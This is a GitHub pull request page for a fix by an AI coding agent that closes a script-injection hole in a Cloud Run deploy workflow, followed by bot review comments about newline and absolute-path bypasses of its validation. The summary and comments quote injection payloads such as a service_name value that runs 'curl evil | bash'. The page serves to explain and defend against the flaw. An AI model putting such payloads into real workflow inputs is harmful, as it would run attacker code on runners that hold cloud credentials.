fix(security): prevent script injection in deploy-cloud-run reusable workflow - #1
fix(security): prevent script injection in deploy-cloud-run reusable workflow#1devin-ai-integration[bot] wants to merge 1 commit into
Conversation
…workflow Co-Authored-By: ak <[email protected]>
|
Vorflux skipped this auto review because this account has reached its Auto Review daily review limit (10/10). You can change this in Auto Review Settings: https://us1.vorflux.com/tryloop/settings?section=pull-requests |
|
Prompt hidden (unlisted session) |
🤖 Devin AI EngineerI'll be helping with this pull request! Here's what you should know: ✅ I will automatically:
Note: I can only respond to comments from users who have write access to this repository. ⚙️ Control Options:
|
![cubic-dev-ai[bot]](https://avatars.githubusercontent.com/in/1082092?s=60&v=4){kind=small}
There was a problem hiding this comment.
2 issues found across 1 file
Prompt for AI agents (unresolved issues)
Check if these issues are valid — if so, understand the root cause of each and fix them. If appropriate, use sub-agents to investigate and fix each issue separately.
<file name=".github/workflows/deploy-cloud-run.yml">
<violation number="1" location=".github/workflows/deploy-cloud-run.yml:56">
P3: The allowlist validation in `Validate inputs` is bypassable with an input containing a newline. `grep -Eq '^[a-z0-9-]+$'` matches per line, so an adversarial value like `good
$(curl evil | bash)` returns success (the first line `good` satisfies the regex) and skips the `exit 1`. The same holds for `region`, `project_id`, and the `cloudbuild_config` check (a leading valid line plus a `..`/metacharacter line slips through, and the `grep -q '\.\.'` second check is also line-based). The actual injection fix is intact because `Submit Cloud Build` only consumes the values through env + double quotes, so no command executes — but the validation step's allowlist guarantee is incomplete for multi-line inputs. Use a whole-string match that handles newlines, e.g. `case` globs or a length-anchored check, instead of `grep`.</violation>
<violation number="2" location=".github/workflows/deploy-cloud-run.yml:68">
P2: An absolute `cloudbuild_config` passes this validation, so the workflow can submit a config outside the checked-out repository. Require the first character to be non-slash before forwarding the path.</violation>
</file>
Heads up: you’ve reached your flex budget. Increase your flex budget or wait for usage to reset.
Re-trigger cubic
| echo "Invalid project_id: must match ^[a-z0-9-]+$" >&2 | ||
| exit 1 | ||
| fi | ||
| if ! printf '%s' "$CLOUDBUILD_CONFIG" | grep -Eq '^[A-Za-z0-9._/-]+$' || printf '%s' "$CLOUDBUILD_CONFIG" | grep -q '\.\.'; then |
There was a problem hiding this comment.
P2: An absolute cloudbuild_config passes this validation, so the workflow can submit a config outside the checked-out repository. Require the first character to be non-slash before forwarding the path.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/deploy-cloud-run.yml, line 68:
<comment>An absolute `cloudbuild_config` passes this validation, so the workflow can submit a config outside the checked-out repository. Require the first character to be non-slash before forwarding the path.</comment>
<file context>
@@ -46,9 +46,38 @@ jobs:
+ echo "Invalid project_id: must match ^[a-z0-9-]+$" >&2
+ exit 1
+ fi
+ if ! printf '%s' "$CLOUDBUILD_CONFIG" | grep -Eq '^[A-Za-z0-9._/-]+$' || printf '%s' "$CLOUDBUILD_CONFIG" | grep -q '\.\.'; then
+ echo "Invalid cloudbuild_config: must be a repo-relative path without shell metacharacters" >&2
+ exit 1
</file context>
| if ! printf '%s' "$CLOUDBUILD_CONFIG" | grep -Eq '^[A-Za-z0-9._/-]+$' || printf '%s' "$CLOUDBUILD_CONFIG" | grep -q '\.\.'; then | |
| if ! printf '%s' "$CLOUDBUILD_CONFIG" | grep -Eq '^[A-Za-z0-9._-][A-Za-z0-9._/-]*$' || printf '%s' "$CLOUDBUILD_CONFIG" | grep -q '\.\.'; then |
| PROJECT_ID: ${{ inputs.project_id }} | ||
| CLOUDBUILD_CONFIG: ${{ inputs.cloudbuild_config }} | ||
| run: | | ||
| if ! printf '%s' "$SERVICE_NAME" | grep -Eq '^[a-z0-9-]+$'; then |
There was a problem hiding this comment.
P3: The allowlist validation in Validate inputs is bypassable with an input containing a newline. grep -Eq '^[a-z0-9-]+$' matches per line, so an adversarial value like good $(curl evil | bash) returns success (the first line good satisfies the regex) and skips the exit 1. The same holds for region, project_id, and the cloudbuild_config check (a leading valid line plus a ../metacharacter line slips through, and the grep -q '\.\.' second check is also line-based). The actual injection fix is intact because Submit Cloud Build only consumes the values through env + double quotes, so no command executes — but the validation step's allowlist guarantee is incomplete for multi-line inputs. Use a whole-string match that handles newlines, e.g. case globs or a length-anchored check, instead of grep.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/deploy-cloud-run.yml, line 56:
<comment>The allowlist validation in `Validate inputs` is bypassable with an input containing a newline. `grep -Eq '^[a-z0-9-]+$'` matches per line, so an adversarial value like `good
$(curl evil | bash)` returns success (the first line `good` satisfies the regex) and skips the `exit 1`. The same holds for `region`, `project_id`, and the `cloudbuild_config` check (a leading valid line plus a `..`/metacharacter line slips through, and the `grep -q '\.\.'` second check is also line-based). The actual injection fix is intact because `Submit Cloud Build` only consumes the values through env + double quotes, so no command executes — but the validation step's allowlist guarantee is incomplete for multi-line inputs. Use a whole-string match that handles newlines, e.g. `case` globs or a length-anchored check, instead of `grep`.</comment>
<file context>
@@ -46,9 +46,38 @@ jobs:
+ PROJECT_ID: ${{ inputs.project_id }}
+ CLOUDBUILD_CONFIG: ${{ inputs.cloudbuild_config }}
+ run: |
+ if ! printf '%s' "$SERVICE_NAME" | grep -Eq '^[a-z0-9-]+$'; then
+ echo "Invalid service_name: must match ^[a-z0-9-]+$" >&2
+ exit 1
</file context>
1 participant
Summary
The
Submit Cloud Buildstep interpolated caller-supplied${{ inputs.* }}directly into itsrun:script, so a malicious value (e.g.service_name: '"; curl evil | bash; echo "') executed arbitrary shell on a runner already authenticated withGCP_SA_KEY— a classic GitHub Actions script injection in a reusable workflow whose inputs the author can't trust.Fix:
service_name,region,project_id,cloudbuild_config) are now passed via stepenv:and referenced as double-quoted"$VAR"in the shell, so values are data, never script text.Validate inputsstep enforcing allowlists as defense-in-depth:service_name/region/project_idmust match^[a-z0-9-]+$;cloudbuild_configmust be a repo-relative path matching^[A-Za-z0-9._/-]+$with no...No behavior change for legitimate callers (README example values all pass validation).
Link to Devin session: https://loopai.devinenterprise.com/sessions/2e6656aa67a84296bc1295787116da25
Requested by: @akloop